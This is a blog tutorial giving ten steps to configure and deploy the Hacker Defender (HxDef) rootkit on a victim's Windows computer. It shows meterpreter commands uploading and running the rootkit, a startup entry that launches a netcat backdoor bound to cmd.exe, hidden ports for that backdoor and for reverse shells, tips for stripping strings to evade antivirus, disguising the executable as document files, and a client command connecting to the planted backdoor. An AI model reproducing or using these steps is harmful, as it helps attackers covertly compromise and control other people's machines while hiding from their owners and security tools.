VISHNUVALENTINO.COM/HACKING-TUTORIAL/HACKER-

# Hacker Defender HxDef Rootkit Tutorial in 10 Steps [Nostalgia]

by v, vishnuvalentino.com

**Type : Tutorial**

**Level : Medium, Advanced**

A few moment ago I'm looking for my backup files that maybe already been obsolete :p because I didn't open it for almost 6-7 years LoL... I find **Hacker Defender** HxDef Rootkit on my HDD this **rootkit** is really famous that time...I know maybe for some of you it's just simple **rootkit** and maybe already obsolete...but why not we tried it once again to remember/memorizing this **rootkit** .

If this is your first time hearing about **Hacker Defender** HxDef Rootkit, okay I will give simple explanation according to it's readme :p

*Hacker defender (hxdef) is **rootkit** for Windows **NT** 4.0, Windows 2000 and Windows XP, it may also work on latest **NT** based systems. The main idea of this program is to rewrite few **memory** segments in all running processes. Rewriting of some **basic** modules cause changes in processes behaviour. Rewriting must not affect the stability of the **system** or running processes.*

I will not explain how to make this tools executed on victim **computer**, but maybe if you see this code below you will know when you can use it

```
meterpreter > upload hxdef100.exe hxdef100.exe
[*] uploading : hxdef100.exe -> hxdef100.exe
[*] uploaded : hxdef100.exe -> hxdef100.exe

meterpreter > upload hxdef100.ini hxdef100.ini
[*] uploading : hxdef100.ini -> hxdef100.ini
[*] uploaded : hxdef100.ini -> hxdef100.ini

meterpreter > execute -f hxdef100.exe
```

```
Process 1700 created.
```

From the script above if you familiar with metasploit meterpreter you will know it isn't it?

Okay enough for introduction, lets start the tutorial :

# Requirements :

1. HxDef Rootkit

HxDef073 (Mediafire Links)

HxDef084 (Mediafire Links)

HxDef100 (Mediafire Links)

2. Ice Sword(To delete hidden process if you accidentally running the **rootkit** on your **system** :p LoL)

# Step-By-Step :

1. There's several file on **Hacker Defender** HxDef Rootkit file.

- **hxdef100.exe** –> the Rootkit to running on victim **computer** and can be used to compile the **rootkit** with INI file

- **hxdef100.ini** –> Configuration file, used to update configuration with hxdef100.exe

- **bdcli100.exe** –> Client executables to connect to HxDef service that already installed on victim **computer**

2. Firstly you should see your INI file(*the Hacker Defender HxDef Rootkit configuration file*), there's several option that you can change and modified to fit

your needs. Below is ten parts that should be available on HxDef INI file.

```
[Hidden Table]
[Hidden Processes]
[Root Processes]
[Hidden Services]
[Hidden RegKeys]
[Hidden RegValues]
[Startup Run]
[Free Space]
[Hidden Ports]
[Settings]
```

3. In the [**Hidden Table**], [Hidden Processes], [Root Processes], [**Hidden Services**] and [Hidden RegValues] sections, a * character can be used as the wildcard at the end of a string. Asterisks can only be used at the end of a string. Everything after the first asterisk will be ignored.

*** Be careful when setting up this, because the name you explain in **[Hidden Table]** will be hidden on **system**. For example if you put s* , it's mean that all of folder, file and everything on your **computer** start with **"S"** string will be hidden including **windows system** folder.*

[Hidden Processes], [Root Processes], [**Hidden Services**] will run the process and services on background, so it will be hidden.

[Hidden RegValues] Hidden the registry values that already created by HxDef

***To Remember : All the sections is dependency one with another, make sure if you change one option, you also change the other sections.***

4. On **[Startup Run]** section you can describe which program should be

executed when the **computer** starting up. Example code(*Launch NetCat to listen on port 63333*) :

```
[Startup Run]
C:\WINDOWS\system32\netcat.exe?-L -p 63333 -e cmd.exe
```

5. On **[Hidden Ports]** section, you can describe which ports you want to hide from user. On example below I will hide my NetCat port connection :

```
[Hidden Ports]
TCPI:63333
TCPO:63333
```

**Hide inbound (TCPI) TCP port 63333 (netcat backdoor) and outbound (TCPO) TCP port 63333 (useful if you want to do a reverse shell back to you).

6. The last is **[Settings]** section. You can change your password here so it will be private **rootkit**

```
[Settings]
Password=v4L
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=v4L-rUL3z
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
```

You also can change the ServiceName into something you desire.

*If you change ServiceName, you should remember that you also should change the [**Hidden Services**] and [Hidden RegKeys].*

7. The above(step 6) INI file is very easy to detect by antivirus, you should hide every text that containing **Hacker Defender** strings. On download section there also obfuscated INI file(just see it).

8. The available switches when you run **Hacker Defender** HxDef Rootkit are :

**-:installonly** – only install service, but not run
**-:refresh** – use to update settings from the ini file
**-:noservice** – doesn't install services and run normally
**-:uninstall** – removes Hacker-Defender from **memory** and kill all running backdoor connections

9. To compile the **rootkit**, click start –> run (Click here to view the shortcut for RUN) and type CMD, and then go to your HxDef100 directory(View tutorial basic command prompt here). Run :

```
C:\hxdef100> hxdef100.exe -:refresh
```

Your hxdef100.exe should be updated with the new settings.

10. To run HxDef100 on victim **computer**, there's a lot of way you can do, such as embed it's exe with another familiar extension, such as .txt, .doc, .ppt, etc.

To connect to our Rootkit, we should use bdcli100.exe application. **Hacker Defender** HxDef100 can connected on any port opened on victim **computer**(*you can scan victim first to know opening port*).

```
bdcli.exe [ip address/hostname] [port] [password]
```

```
C:\hxdef100>bdcli.exe 192.168.8.93 135 v4L
```

We're connected

To uninstall the service, simply go to hxdef100.exe folder and execute :

```
hxdef100.exe -:uninstall
```

Hope it's useful for you..